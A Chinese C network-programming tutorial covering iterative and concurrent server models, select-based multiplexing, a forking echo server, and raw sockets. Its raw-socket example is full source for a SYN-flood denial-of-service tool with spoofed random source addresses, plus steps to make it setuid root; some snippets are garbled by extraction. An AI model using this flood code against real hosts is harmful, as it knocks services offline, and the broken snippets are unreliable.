C 网络编程（4）

9. 服务器模型
学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过
, 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.
在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件
的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理
客户机的请求, 对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器
模型.
循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求
并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求
9.1 循环服务器:UDP服务器
UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理
, 然后将结果返回给客户机.
可以用下面的算法来实现.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循
环, 服务器对于每一个客户机的请求总是能够满足.
9.2 循环服务器:TCP服务器
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客
户的所有请求后,断开连接.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 
服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机
都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.
9.3 并发服务器:TCP服务器
为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是
每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一
个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一
种非常消耗资源的操作.
9.4 并发服务器:多路复用I/O
为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比
如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数
据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞
,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件
可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文件描述
符的集合
writefds所有要的写文件文件描述符的集合
exceptfds其他的服要向我们通知的文件描述符
timeout超时设置.
nfds所有我们监控的文件描述符中最大的那一个加1
在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文
件可以写.3)超时所设置的时间到.
为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset
FD_CLR将fd从fdset里面清除
FD_ZERO从fdset中清除所有的文件描述符
FD_ISSET判断fd是否在fdset集合中
使用select的一个例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;iif(readfd>;maxfd) maxfd=readfd;
while(1)
{
/* 将所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;iFD_SET(readfd,*my_readfd);
/* 进程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有东西可以读了 */
for(i=0;iif(FD_ISSET(readfd,&my_readfd))
{
/* 原来是我可以读了 */
we_read(readfd);
}
}
}
使用select后我们的服务器程序就变成了.
初始话(socket,bind,listen);
while(1)
{
设置监听读写文件描述符(FD_*);
调用select;
如果是倾听套接字就绪,说明一个新的连接请求建立
{
建立连接(accept);
加入到监听文件描述符中去;
}
否则说明是一个已经连接过的描述符
{
进行操作(read或者write);
}
}
多路复用I/O可以解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面. 
这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会
等待很久.
9.5 并发服务器:UDP服务器
人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单
的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样
.. 
除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.
9.6 一个并发TCP服务器实例
#include ;
#include ;
#include ;
#include ;
#include ;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子进程处理客户端的连接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试 
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10. 原始套接字
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 
里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可
以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的
人创建.
10.1 原始套接字的创建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 ; 下
面我们以一个实例来说明原始套接字的创建和使用
10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的
源代码
/******************** DOS.c *****************/
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP数据包的头部长度 **/
ip->;ip_tos=0; /** 服务类型 **/
ip->;ip_len=htons(head_len); /** IP数据包的长度 **/
ip->;ip_id=0; /** 让系统去填写吧 **/
ip->;ip_off=0; /** 和上面一样,省点时间 **/
ip->;ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->;ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->;ip_sum=0; /** 校验和让系统去做 **/
ip->;ip_dst=addr->;sin_addr; /** 我们攻击的对象 **/
/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的端口 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要建立连接 **/
tcp->;check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普
通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了
.. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负
责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用
相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各
个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址
,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由
系统来创建的.
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